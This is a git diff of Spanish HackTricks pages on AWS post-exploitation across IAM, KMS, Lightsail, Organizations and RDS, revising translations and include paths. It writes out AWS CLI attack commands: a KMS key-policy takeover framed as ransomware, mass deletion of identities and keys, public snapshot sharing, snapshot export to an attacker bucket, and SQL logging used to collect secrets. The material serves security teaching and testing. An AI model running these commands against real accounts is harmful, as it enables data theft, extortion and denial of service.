-> Para que un atacante pueda explotar un confused deputy, necesitará averiguar de alguna manera si los principals de la cuenta actual pueden hacerse pasar por roles en otras cuentas.
+> Para que un attacker pueda exploit un confused deputy, necesitará averiguar de alguna manera si principals de la current account pueden impersonate roles en other accounts.
 
-### Confianzas inesperadas
+### Relaciones de confianza inesperadas
 
-#### Comodín como principal
+#### Wildcard como principal
 ```json
 {
 "Action": "sts:AssumeRole",
@@ -62,7 +62,7 @@ Esta política **permite que todo AWS** asuma el rol.
 "Resource": "arn:aws:lambda:000000000000:function:foo"
 }
 ```
-Esta política **permite a cualquier cuenta** configurar su apigateway para invocar esta Lambda.
+Esta política **permite que cualquier cuenta** configure su apigateway para invocar esta Lambda.
 
 #### S3 como principal
 ```json
@@ -73,7 +73,7 @@ Esta política **permite a cualquier cuenta** configurar su apigateway para invo
 }
 }
 ```
-Si se asigna un bucket S3 como principal, dado que los buckets S3 no tienen un Account ID, si usted **eliminó su bucket y el atacante lo creó** en su propia cuenta, entonces podrían abusar de esto.
+Si un S3 bucket se especifica como principal, dado que los S3 buckets no tienen Account ID, si **deleted your bucket and the attacker created** it en su propia cuenta, entonces podrían abusar de esto.
 
 #### No soportado
 ```json
@@ -84,10 +84,10 @@ Si se asigna un bucket S3 como principal, dado que los buckets S3 no tienen un A
 "Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
 }
 ```
-Una forma común de evitar problemas de Confused Deputy es usar una condición con `AWS:SourceArn` para comprobar el ARN de origen. Sin embargo, **algunos servicios podrían no admitir eso** (como CloudTrail según algunas fuentes).
+Una forma común de evitar problemas de Confused Deputy es usar una condición con `AWS:SourceArn` para comprobar el ARN de origen. Sin embargo, **algunos servicios podrían no soportar eso** (como CloudTrail según algunas fuentes).
 
 ### Eliminación de credenciales
-Con cualquiera de los siguientes permisos — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — un actor puede eliminar claves de acceso, perfiles de inicio de sesión, SSH keys, credenciales específicas de servicio, perfiles de instancia, certificados o claves públicas de CloudFront, o desasociar roles de perfiles de instancia. Tales acciones pueden bloquear inmediatamente a usuarios y aplicaciones legítimas y provocar denegación de servicio o pérdida de acceso para sistemas que dependen de esas credenciales, por lo que estos permisos de IAM deben estar estrictamente restringidos y monitorizados.
+Con cualquiera de los siguientes permisos — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — un actor puede eliminar claves de acceso, perfiles de inicio de sesión, claves SSH, credenciales específicas del servicio, perfiles de instancia, certificados o claves públicas de CloudFront, o desasociar roles de los perfiles de instancia. Tales acciones pueden bloquear inmediatamente a usuarios y aplicaciones legítimas y causar denegación de servicio o pérdida de acceso para sistemas que dependen de esas credenciales, por lo que estos permisos de IAM deben estar estrictamente restringidos y monitoreados.
 ```bash
 # Remove Access Key of a user
 aws iam delete-access-key \
@@ -100,7 +100,7 @@ aws iam delete-ssh-public-key \
 --ssh-public-key-id APKAEIBAERJR2EXAMPLE
 ```
 ### Eliminación de identidades
-Con permisos como `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, o `iam:RemoveUserFromGroup`, un actor puede eliminar usuarios, roles o grupos—or cambiar la pertenencia a grupos—eliminando identidades y rastros asociados. Esto puede interrumpir inmediatamente el acceso para personas y servicios que dependen de esas identidades, provocando denegación de servicio o pérdida de acceso, por lo que estas acciones de IAM deben estar estrictamente restringidas y monitorizadas.
+Con permisos como `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole` o `iam:RemoveUserFromGroup`, un actor puede eliminar usuarios, roles o grupos —o cambiar la pertenencia a grupos— eliminando identidades y trazas asociadas. Esto puede romper inmediatamente el acceso de personas y servicios que dependen de esas identidades, provocando denegación de servicio o pérdida de acceso, por lo que estas acciones de IAM deben estar estrictamente restringidas y monitorizadas.
 ```bash
 # Delete a user
 aws iam delete-user \
@@ -115,7 +115,7 @@ aws iam delete-role \
 --role-name <Role>
 ```
 ###
-Con cualquiera de los siguientes permisos — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — un actor puede eliminar o desvincular políticas administradas/inline, eliminar versiones de políticas o límites de permisos (permissions boundaries), y desasociar políticas de usuarios, grupos o roles. Esto destruye autorizaciones y puede alterar el modelo de permisos, provocando pérdida inmediata de acceso o denegación de servicio para los principals que dependían de esas políticas, por lo que estas acciones de IAM deben estar estrictamente restringidas y monitorizadas.
+Con cualquiera de los siguientes permisos — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — un actor puede eliminar o desvincular políticas administradas/inline, eliminar versiones de políticas o límites de permisos, y desvincular políticas de usuarios, grupos o roles. Esto destruye autorizaciones y puede alterar el modelo de permisos, provocando pérdida inmediata de acceso o denegación de servicio para los principals que dependían de esas políticas, por lo que estas acciones de IAM deben estar estrictamente restringidas y monitoreadas.
 ```bash
 # Delete a group policy
 aws iam delete-group-policy \
@@ -128,7 +128,7 @@ aws iam delete-role-policy \
 --policy-name <PolicyName>
 ```
 ### Eliminación de identidad federada
-Con `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider` y `iam:RemoveClientIDFromOpenIDConnectProvider`, un actor puede eliminar proveedores de identidad OIDC/SAML o quitar client IDs. Esto rompe la autenticación federada, impidiendo la validación de tokens y denegando inmediatamente el acceso a usuarios y servicios que dependen de SSO hasta que el IdP o las configuraciones se restauren.
+Con `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider`, y `iam:RemoveClientIDFromOpenIDConnectProvider`, un actor puede eliminar proveedores de identidad OIDC/SAML o quitar IDs de cliente. Esto rompe la autenticación federada, impidiendo la validación de tokens y negando inmediatamente el acceso a usuarios y servicios que dependen de SSO hasta que el IdP o las configuraciones sean restaurados.
 ```bash
 # Delete OIDCP provider
 aws iam delete-open-id-connect-provider \
@@ -138,8 +138,8 @@ aws iam delete-open-id-connect-provider \
 aws iam delete-saml-provider \
 --saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
 ```
-### Activación de MFA ilegítima
-Con `iam:EnableMFADevice`, un actor puede registrar un dispositivo MFA en la identidad de un usuario, impidiendo que el usuario legítimo inicie sesión. Una vez que se habilita un MFA no autorizado, el usuario puede quedar bloqueado hasta que el dispositivo sea eliminado o restablecido (nota: si se registran múltiples dispositivos MFA, iniciar sesión requiere solo uno, por lo que este ataque no tendrá efecto para negar el acceso).
+### Activación ilegítima de MFA
+Con `iam:EnableMFADevice`, un atacante puede registrar un dispositivo MFA en la identidad de un usuario, impidiendo que el usuario legítimo inicie sesión. Una vez que se habilita un MFA no autorizado, el usuario puede quedar bloqueado hasta que el dispositivo sea eliminado o restablecido (nota: si se registran múltiples dispositivos MFA, para iniciar sesión solo se requiere uno, por lo que este ataque no tendrá efecto en negar el acceso).
 ```bash
 aws iam enable-mfa-device \
 --user-name <Username> \
@@ -147,8 +147,8 @@ aws iam enable-mfa-device \
 --authentication-code1 123456 \
 --authentication-code2 789012
 ```
-### Manipulación de metadatos de certificados y claves
-Con `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, un actor puede cambiar el estado o los metadatos de claves públicas y certificados. Al marcar claves/certificados como inactivos o alterar referencias, puede romper la autenticación SSH, invalidar las validaciones X.509/TLS y interrumpir de inmediato los servicios que dependen de esas credenciales, causando pérdida de acceso o de disponibilidad.
+### Certificate/Key Metadata Tampering
+Con `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, un actor puede cambiar el estado o los metadatos de public keys y certificates. Al marcar keys/certificates como inactivos o alterar referencias, puede romper la autenticación SSH, invalidar las validaciones X.509/TLS e interrumpir inmediatamente servicios que dependen de esas credentials, causando pérdida de acceso o disponibilidad.
 ```bash
 aws iam update-ssh-public-key \
 --user-name <Username> \
@@ -163,4 +163,4 @@ aws iam update-server-certificate \
 
 - [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md

@@ -1,26 +1,26 @@
 # AWS - KMS Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## KMS
 
 Para más información consulta:
 
 {{#ref}}
-../aws-services/aws-kms-enum.md
+../../aws-services/aws-kms-enum.md
 {{#endref}}
 
-### Cifrar/Descifrar información
+### Encrypt/Decrypt information
 
-`fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files:
+`fileb://` and `file://` son esquemas URI usados en comandos de AWS CLI para especificar la ruta a archivos locales:
 
-- `fileb://:` Lee el archivo en modo binario, comúnmente usado para archivos no textuales.
-- `file://:` Lee el archivo en modo texto, típicamente usado para archivos de texto plano, scripts, o JSON que no tiene requisitos especiales de codificación.
+- `fileb://:` Lee el archivo en modo binario, comúnmente usado para archivos que no son de texto.
+- `file://:` Lee el archivo en modo texto, típicamente usado para archivos de texto plano, scripts o JSON que no tengan requisitos especiales de codificación.
 
 > [!TIP]
-> Ten en cuenta que si quieres descifrar algunos datos dentro de un archivo, el archivo debe contener los datos binarios, no datos codificados en base64. (fileb://)
+> Ten en cuenta que si quieres descifrar datos dentro de un archivo, el archivo debe contener los datos binarios, no datos codificados en base64. (fileb://)
 
-- Using a **symmetric** key
+- Usando una clave **simétrica**
 ```bash
 # Encrypt data
 aws kms encrypt \
@@ -38,7 +38,7 @@ aws kms decrypt \
 --query Plaintext | base64 \
 --decode
 ```
-- Usando una **clave asimétrica**:
+- Usando una clave **asimétrica**:
 ```bash
 # Encrypt data
 aws kms encrypt \
@@ -60,14 +60,14 @@ aws kms decrypt \
 ```
 ### KMS Ransomware
 
-Un atacante con acceso privilegiado a KMS podría modificar la KMS policy de las keys y **conceder acceso a su cuenta sobre ellas**, eliminando el acceso otorgado a la cuenta legítima.
+Un attacker con acceso privilegiado sobre KMS podría modificar la KMS policy de las keys y **grant his account access over them**, eliminando el acceso concedido a la legit account.
 
-Entonces, los usuarios de la cuenta legítima no podrán acceder a ninguna información de ningún servicio que haya sido encriptado con esas keys, creando un ransomware sencillo pero efectivo sobre la cuenta.
+Entonces, los legit account users no podrán acceder a ninguna información de cualquier servicio que haya sido encrypted con esas keys, creando un ransomware sencillo pero efectivo sobre la cuenta.
 
 > [!WARNING]
-> Ten en cuenta que **AWS managed keys no se ven afectadas** por este ataque, solo **Customer managed keys**.
+> Ten en cuenta que **AWS managed keys aren't affected** por este ataque; solo **Customer managed keys**.
 
-> Ten en cuenta también la necesidad de usar el parámetro **`--bypass-policy-lockout-safety-check`** (la ausencia de esta opción en la web console hace que este ataque solo sea posible desde la CLI).
+> También ten en cuenta la necesidad de usar el parámetro **`--bypass-policy-lockout-safety-check`** (la ausencia de esta opción en la consola web hace que este ataque sea posible solo desde la CLI).
 ```bash
 # Force policy change
 aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
@@ -96,13 +96,13 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
 
 <figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
 
-### Generic KMS Ransomware
+### Ransomware genérico de KMS
 
 There is another way to perform a global KMS Ransomware, which would involve the following steps:
 
-- Crear una nueva **clave con material de clave** importado por el atacante
-- **Re-cifrar los datos antiguos** de la víctima que fueron cifrados con la versión anterior usando la nueva
-- **Eliminar la clave KMS**
+- Crear una nueva **key con material de clave** importado por el atacante
+- **Re-encriptar datos antiguos** de la víctima que estaban cifrados con la versión anterior usando la nueva.
+- **Eliminar la KMS key**
 - Ahora solo el atacante, que posee el material de clave original, podría ser capaz de descifrar los datos cifrados
 
 ### Delete Keys via kms:DeleteImportedKeyMaterial
@@ -113,7 +113,7 @@ aws kms delete-imported-key-material --key-id <Key_ID>
 ```
 ### Destruir claves
 
-Destruir claves puede provocar un DoS.
+Al destruir claves, es posible provocar un DoS.
 ```bash
 # Schedule the destoy of a key (min wait time is 7 days)
 aws kms schedule-key-deletion \
@@ -121,10 +121,10 @@ aws kms schedule-key-deletion \
 --pending-window-in-days 7
 ```
 > [!CAUTION]
-> Tenga en cuenta que AWS ahora **impide que las acciones anteriores se realicen desde otra cuenta:**
+> Tenga en cuenta que AWS ahora **impide que las acciones anteriores se realicen desde una cuenta cruzada:**
 
-### Cambiar o eliminar Alias
-Este ataque elimina o redirige los alias de AWS KMS, rompiendo la resolución de claves y provocando fallos inmediatos en cualquier servicio que dependa de esos alias, resultando en una denegación de servicio. Con permisos como `kms:DeleteAlias` o `kms:UpdateAlias`, un atacante puede eliminar o reapuntar alias y interrumpir operaciones criptográficas (p. ej., encrypt, describe). Cualquier servicio que haga referencia al alias en lugar del ID de la clave puede fallar hasta que el alias se restaure o se reasigne correctamente.
+### Change or delete Alias
+Este ataque elimina o redirige los alias de AWS KMS, interrumpiendo la resolución de claves y causando fallos inmediatos en cualquier servicio que dependa de esos alias, resultando en un denial-of-service. Con permisos como `kms:DeleteAlias` o `kms:UpdateAlias`, un atacante puede eliminar o volver a apuntar alias y perturbar operaciones criptográficas (p. ej., encrypt, describe). Cualquier servicio que haga referencia al alias en lugar del ID de la clave puede fallar hasta que el alias se restaure o se reasigne correctamente.
 ```bash
 # Delete Alias
 aws kms delete-alias --alias-name alias/<key_alias>
@@ -134,8 +134,8 @@ aws kms update-alias \
 --alias-name alias/<key_alias> \
 --target-key-id <new_target_key>
 ```
-### Cancelar eliminación de clave
-Con permisos como `kms:CancelKeyDeletion` y `kms:EnableKey`, un actor puede cancelar la eliminación programada de una AWS KMS customer master key y volver a habilitarla más adelante. Al hacerlo se recupera la clave (inicialmente en estado Disabled) y se restaura su capacidad para descifrar datos previamente protegidos, permitiendo la exfiltration.
+### Cancel Key Deletion
+Con permisos como `kms:CancelKeyDeletion` y `kms:EnableKey`, un actor puede cancelar la eliminación programada de una AWS KMS customer master key y posteriormente volver a habilitarla. Al hacerlo, se recupera la key (inicialmente en Disabled state) y se restaura su capacidad para descifrar datos previamente protegidos, permitiendo exfiltration.
 ```bash
 # Firts cancel de deletion
 aws kms cancel-key-deletion \
@@ -145,22 +145,23 @@ aws kms cancel-key-deletion \
 aws kms enable-key \
 --key-id <Key_ID>
 ```
-### Deshabilitar clave
-Con el permiso `kms:DisableKey`, un actor puede deshabilitar una clave maestra de cliente (customer master key) de AWS KMS, impidiendo que se use para cifrado o descifrado. Esto interrumpe el acceso para cualquier servicio que dependa de esa CMK y puede causar interrupciones inmediatas o una denegación de servicio hasta que la clave vuelva a habilitarse.
+### Disable Key
+Con el permiso `kms:DisableKey`, un actor puede deshabilitar una AWS KMS customer master key, impidiendo que se utilice para cifrado o descifrado. Esto interrumpe el acceso para cualquier servicio que dependa de esa CMK y puede causar interrupciones inmediatas o un denial-of-service hasta que la clave sea reactivada.
 ```bash
 aws kms disable-key \
 --key-id <key_id>
 ```
 ### Derive Shared Secret
-Con el permiso `kms:DeriveSharedSecret`, un actor puede usar una clave privada mantenida por KMS junto con una clave pública proporcionada por el usuario para calcular un secreto compartido ECDH.
+
+Con el permiso `kms:DeriveSharedSecret`, un actor puede usar una clave privada mantenida en KMS más una clave pública proporcionada por el usuario para calcular un secreto compartido ECDH.
 ```bash
 aws kms derive-shared-secret \
 --key-id <key_id> \
 --public-key fileb:///<route_to_public_key> \
 --key-agreement-algorithm <algorithm>
 ```
-### Impersonation via kms:Sign
-Con el permiso `kms:Sign`, un actor puede usar una CMK almacenada en KMS para firmar criptográficamente datos sin exponer la private key, generando firmas válidas que pueden posibilitar impersonation o autorizar acciones maliciosas.
+### Suplantación mediante kms:Sign
+Con el permiso `kms:Sign`, un actor puede usar una CMK almacenada en KMS para firmar datos criptográficamente sin exponer la clave privada, produciendo firmas válidas que pueden permitir la suplantación de identidad o autorizar acciones maliciosas.
 ```bash
 aws kms sign \
 --key-id <key-id> \
@@ -168,8 +169,8 @@ aws kms sign \
 --signing-algorithm <algoritmo> \
 --message-type RAW
 ```
-### DoS with Custom Key Stores
-Con permisos como `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore`, o `kms:UpdateCustomKeyStore`, un actor puede modificar, desconectar o eliminar un AWS KMS Custom Key Store (CKS), dejando inoperables sus claves maestras. Eso rompe las operaciones de cifrado, descifrado y firma para cualquier servicio que dependa de esas claves y puede causar un denial-of-service inmediato. Restringir y monitorear esos permisos es, por tanto, crítico.
+### DoS con Custom Key Stores
+Con permisos como `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore` o `kms:UpdateCustomKeyStore`, un actor puede modificar, desconectar o eliminar un AWS KMS Custom Key Store (CKS), dejando inoperables sus claves maestras. Eso rompe las operaciones de cifrado, descifrado y firmado para cualquier servicio que dependa de esas claves y puede causar una denegación de servicio inmediata. Por ello, es crítico restringir y monitorizar esos permisos.
 ```bash
 aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
 
@@ -179,4 +180,4 @@ aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --ne
 ```
 <figure><img src="../../../images/image (76).png" alt=""><figcaption></figcaption></figure>
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md

@@ -1,30 +0,0 @@
-# AWS - Lightsail Post Explotación
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Lightsail
-
-Para más información, consulta:
-
-{{#ref}}
-../aws-services/aws-lightsail-enum.md
-{{#endref}}
-
-### Restaurar instantáneas antiguas de DB
-
-Si la DB tiene instantáneas, podrías **encontrar información sensible actualmente eliminada en instantáneas antiguas**. **Restaura** la instantánea en una **nueva base de datos** y revísala.
-
-### Restaurar Instantáneas de Instancia
-
-Las instantáneas de instancia pueden contener **información sensible** de instancias ya eliminadas o información sensible que se ha eliminado en la instancia actual. **Crea nuevas instancias a partir de las instantáneas** y revísalas.\
-O **exporta la instantánea a un AMI en EC2** y sigue los pasos de una instancia típica de EC2.
-
-### Acceder a Información Sensible
-
-Consulta las opciones de privesc de Lightsail para aprender diferentes formas de acceder a información potencialmente sensible:
-
-{{#ref}}
-../aws-privilege-escalation/aws-lightsail-privesc.md
-{{#endref}}
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md

@@ -0,0 +1,30 @@
+# AWS - Lightsail Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Lightsail
+
+Para más información, consulta:
+
+{{#ref}}
+../../aws-services/aws-lightsail-enum.md
+{{#endref}}
+
+### Restaurar snapshots antiguos de DB
+
+Si la DB tiene snapshots, podrías **encontrar información sensible que actualmente fue eliminada en snapshots antiguos**. **Restaura** el snapshot en una **nueva base de datos** y revísalo.
+
+### Restaurar snapshots de instancias
+
+Los instance snapshots pueden contener **información sensible** de instancias ya eliminadas o información sensible que fue eliminada en la instancia actual. **Crea nuevas instancias a partir de los snapshots** y revísalas.\
+O **exporta el snapshot a un AMI en EC2** y sigue los pasos de una instancia EC2 típica.
+
+### Acceder a información sensible
+
+Consulta las opciones de Lightsail privesc para aprender diferentes maneras de acceder a información potencialmente sensible:
+
+{{#ref}}
+../../aws-privilege-escalation/aws-lightsail-privesc/README.md
+{{#endref}}
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md

@@ -1,17 +0,0 @@
-# AWS - Organizaciones Post Explotación
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Organizaciones
-
-Para más información sobre AWS Organizations consulta:
-
-{{#ref}}
-../aws-services/aws-organizations-enum.md
-{{#endref}}
-
-### Salir de la Org
-```bash
-aws organizations deregister-account --account-id <account_id> --region <region>
-```
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md

@@ -0,0 +1,17 @@
+# AWS - Organizations Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Organizations
+
+Para más información sobre AWS Organizations, consulta:
+
+{{#ref}}
+../../aws-services/aws-organizations-enum.md
+{{#endref}}
+
+### Abandonar la Org
+```bash
+aws organizations deregister-account --account-id <account_id> --region <region>
+```
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md

@@ -1,18 +1,18 @@
 # AWS - RDS Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## RDS
 
-Para más información consulta:
+Para más información, consulta:
 
 {{#ref}}
-../aws-services/aws-relational-database-rds-enum.md
+../../aws-services/aws-relational-database-rds-enum.md
 {{#endref}}
 
 ### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
 
-Si el atacante tiene permisos suficientes, podría hacer que una **DB sea accesible públicamente** creando un snapshot de la DB y luego una DB accesible públicamente a partir del snapshot.
+Si el atacante tiene suficientes permisos, podría hacer que una **DB sea accesible públicamente** creando un snapshot de la DB, y luego una DB accesible públicamente a partir del snapshot.
 ```bash
 aws rds describe-db-instances # Get DB identifier
 
@@ -40,9 +40,9 @@ aws rds modify-db-instance \
 ```
 ### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
 
-Un atacante con estos permisos podría **crear una snapshot de una DB** y hacerla **públicamente** **disponible**. Luego, podría simplemente crear en su propia cuenta una DB a partir de esa snapshot.
+Un atacante con estos permisos podría **crear un snapshot de una DB** y hacerlo **públicamente** **disponible**. Luego, podría simplemente crear en su propia cuenta una DB a partir de ese snapshot.
 
-Si el atacante **no tiene el `rds:CreateDBSnapshot`**, aún podría hacer que **otras** snapshots ya creadas sean **públicas**.
+Si el atacante **no tiene el `rds:CreateDBSnapshot`**, aún podría hacer que **otros** snapshots creados sean **públicos**.
 ```bash
 # create snapshot
 aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
@@ -53,7 +53,7 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
 ```
 ### `rds:DownloadDBLogFilePortion`
 
-Un atacante con el permiso `rds:DownloadDBLogFilePortion` puede **descargar porciones de los archivos de registro de una instancia de RDS**. Si datos sensibles o credenciales de acceso se registran por accidente, el atacante podría potencialmente usar esta información para escalar sus privilegios o realizar acciones no autorizadas.
+Un atacante con el permiso `rds:DownloadDBLogFilePortion` puede **descargar porciones de los archivos de registro de una instancia RDS**. Si datos sensibles o credenciales de acceso quedan registrados accidentalmente, el atacante podría usar esta información para escalar privilegios o realizar acciones no autorizadas.
 ```bash
 aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
 ```
@@ -61,7 +61,7 @@ aws rds download-db-log-file-portion --db-instance-identifier target-instance --
 
 ### `rds:DeleteDBInstance`
 
-Un atacante con estos permisos puede **DoS las instancias RDS existentes**.
+Un atacante con estos permisos puede **DoS instancias RDS existentes**.
 ```bash
 # Delete
 aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
@@ -73,25 +73,25 @@ aws rds delete-db-instance --db-instance-identifier target-instance --skip-final
 > [!NOTE]
 > TODO: Probar
 
-Un atacante con este permiso puede **exportar una instantánea (snapshot) de una instancia RDS a un bucket S3**. Si el atacante tiene control sobre el bucket S3 de destino, podría acceder potencialmente a datos sensibles contenidos en la instantánea exportada.
+Un atacante con este permiso puede **exportar una instantánea de una instancia RDS a un bucket S3**. Si el atacante controla el bucket S3 de destino, podría acceder potencialmente a datos sensibles contenidos en la instantánea exportada.
 ```bash
 aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
 ```
-**Impacto potencial**: Acceso a datos sensibles en la instantánea exportada.
+**Impacto potencial**: Acceso a datos sensibles en el snapshot exportado.
 
-### Replicación entre Regiones de Automated Backups para una restauración sigilosa (`rds:StartDBInstanceAutomatedBackupsReplication`)
+### Cross-Region Automated Backups Replication for Stealthy Restore (`rds:StartDBInstanceAutomatedBackupsReplication`)
 
-Abusar de la replicación entre Regiones de los Automated Backups para duplicar silenciosamente los Automated Backups de una instancia RDS en otra Región de AWS y restaurarla allí. El atacante puede entonces hacer que la DB restaurada sea accesible públicamente y restablecer la contraseña maestra para acceder a los datos fuera de banda en una Región que los defensores podrían no monitorizar.
+Abusar de cross-Region automated backups replication para duplicar silenciosamente los automated backups de una instancia RDS en otra AWS Region y restaurarlos allí. El atacante puede entonces hacer que la DB restaurada sea accesible públicamente y restablecer la contraseña maestra para acceder a los datos fuera de banda en una Region que los defensores podrían no monitorear.
 
-Permisos necesarios (mínimos):
-- `rds:StartDBInstanceAutomatedBackupsReplication` en la Región de destino
-- `rds:DescribeDBInstanceAutomatedBackups` en la Región de destino
-- `rds:RestoreDBInstanceToPointInTime` en la Región de destino
-- `rds:ModifyDBInstance` en la Región de destino
-- `rds:StopDBInstanceAutomatedBackupsReplication` (limpieza opcional)
-- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (para exponer la DB restaurada)
+Permisos necesarios (mínimo):
+- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region
+- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region
+- `rds:RestoreDBInstanceToPointInTime` in the destination Region
+- `rds:ModifyDBInstance` in the destination Region
+- `rds:StopDBInstanceAutomatedBackupsReplication` (optional cleanup)
+- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (to expose the restored DB)
 
-Impacto: Persistencia y exfiltración de datos al restaurar una copia de los datos de producción en otra Región y exponerla públicamente con credenciales controladas por el atacante.
+Impacto: Persistencia y exfiltración de datos al restaurar una copia de datos de producción en otra Region y exponerla públicamente con credenciales controladas por el atacante.
 
 <details>
 <summary>CLI de extremo a extremo (reemplazar marcadores de posición)</summary>
@@ -163,26 +163,26 @@ aws rds stop-db-instance-automated-backups-replication \
 </details>
 
 
-### Habilitar el registro completo de SQL a través de grupos de parámetros de DB y exfiltrar vía RDS log APIs
+### Habilitar el registro completo de SQL mediante DB parameter groups y exfiltrate via RDS log APIs
 
-Abusa de `rds:ModifyDBParameterGroup` junto con RDS log download APIs para capturar todas las sentencias SQL ejecutadas por las aplicaciones (no se necesitan credenciales del engine de DB). Habilita el logging SQL del engine y descarga los archivos de log vía `rds:DescribeDBLogFiles` y `rds:DownloadDBLogFilePortion` (o el REST `downloadCompleteLogFile`). Útil para recopilar queries que pueden contener secrets/PII/JWTs.
+Abusar de `rds:ModifyDBParameterGroup` con las RDS log download APIs para capturar todas las sentencias SQL ejecutadas por las aplicaciones (no se necesitan credenciales del DB engine). Habilita el engine SQL logging y extrae los archivos de log vía `rds:DescribeDBLogFiles` y `rds:DownloadDBLogFilePortion` (o el REST `downloadCompleteLogFile`). Útil para recopilar queries que pueden contener secrets/PII/JWTs.
 
 Permisos necesarios (mínimo):
 - `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
 - `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
-- `rds:ModifyDBInstance` (solo para adjuntar un parameter group personalizado si la instancia está usando el por defecto)
+- `rds:ModifyDBInstance` (solo para adjuntar un parameter group custom si la instancia está usando el default)
 - `rds:RebootDBInstance` (para parámetros que requieren reboot, p. ej., PostgreSQL)
 
 Pasos
-1) Recon target y el grupo de parámetros actual
+1) Recon target and current parameter group
 ```bash
 aws rds describe-db-instances \
 --query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
 --output table
 ```
-2) Asegúrese de que esté adjunto un custom DB parameter group (no se puede editar el default)
-- Si la instancia ya usa un custom group, reutilice su nombre en el siguiente paso.
-- De lo contrario, cree y adjunte uno que coincida con la familia del engine:
+2) Asegúrate de que se adjunte un grupo de parámetros DB personalizado (no se puede editar el predeterminado)
+- Si la instancia ya usa un grupo personalizado, reutiliza su nombre en el siguiente paso.
+- De lo contrario, crea y adjunta uno que coincida con la familia del motor:
 ```bash
 # Example for PostgreSQL 16
 aws rds create-db-parameter-group \
@@ -196,8 +196,8 @@ aws rds modify-db-instance \
